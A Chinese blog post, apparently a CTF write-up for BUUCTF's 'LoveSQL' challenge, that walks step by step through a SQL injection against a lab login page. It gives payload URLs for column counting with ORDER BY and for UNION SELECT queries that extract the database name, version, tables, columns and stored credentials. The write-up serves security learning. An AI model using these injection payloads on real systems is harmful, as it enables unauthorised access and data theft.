BUUCTF[极客大挑战2019]LoveSQL

最新推荐文章于 2022-04-04 14:43:17 发布

carefree798

最新推荐文章于 2022-04-04 14:43:17 发布

阅读量194

点赞数

分类专栏： CTF日记文章标签： sql 信息安全

本文链接：https://blog.csdn.net/weixin_45253622/article/details/116451091

版权

CTF日记专栏收录该内容

25 篇文章 1 订阅

订阅专栏

本文详细介绍了SQL注入攻击的过程，从发现闭合漏洞到利用万能密码尝试登录，再到通过注入点位确定数据库信息，包括数据库名、版本、表名及字段。通过一系列payload，最终成功获取敏感信息。这是一个关于Web安全和SQL注入的经典案例。

摘要由CSDN通过智能技术生成

使用单引号闭合发现：

直接上万能密码：

给了密码，95722b3a2cae53b2ada1c9146ab0bc2a 是加密的，并不能直接登录。

我们继续进行注入：

使用payload：

http://8fd46e77-db9a-4e40-89ea-cd74a23c078e.node3.buuoj.cn/check.php?username=admin' order by 4%23&password=123
#这里使用 %23 是因为我们是在url中输入的，所以需要输入 # 的url编码：%23

http://8fd46e77-db9a-4e40-89ea-cd74a23c078e.node3.buuoj.cn/check.php?username=admin' order by 3%23&password=123

字段数：3

我们输入payload查看回显点位在哪里：

http://8fd46e77-db9a-4e40-89ea-cd74a23c078e.node3.buuoj.cn/check.php?username=1' union select 1,2,3 %23&password=123

注入点位在2，3；那就简单了。

查询数据库名和版本：

http://8fd46e77-db9a-4e40-89ea-cd74a23c078e.node3.buuoj.cn/check.php?username=1' union select 1,database(),version()%23&password=1

查询表名：

http://8fd46e77-db9a-4e40-89ea-cd74a23c078e.node3.buuoj.cn/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'geek'%23&password=1

查询 l0ve1ysq1 表的字段名：

http://8fd46e77-db9a-4e40-89ea-cd74a23c078e.node3.buuoj.cn/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'geek' and table_name = 'l0ve1ysq1'%23&password=1

查询字段：

http://8fd46e77-db9a-4e40-89ea-cd74a23c078e.node3.buuoj.cn/check.php?username=1' union select 1,2,group_concat(id,username,password)from l0ve1ysq1 %23&password=1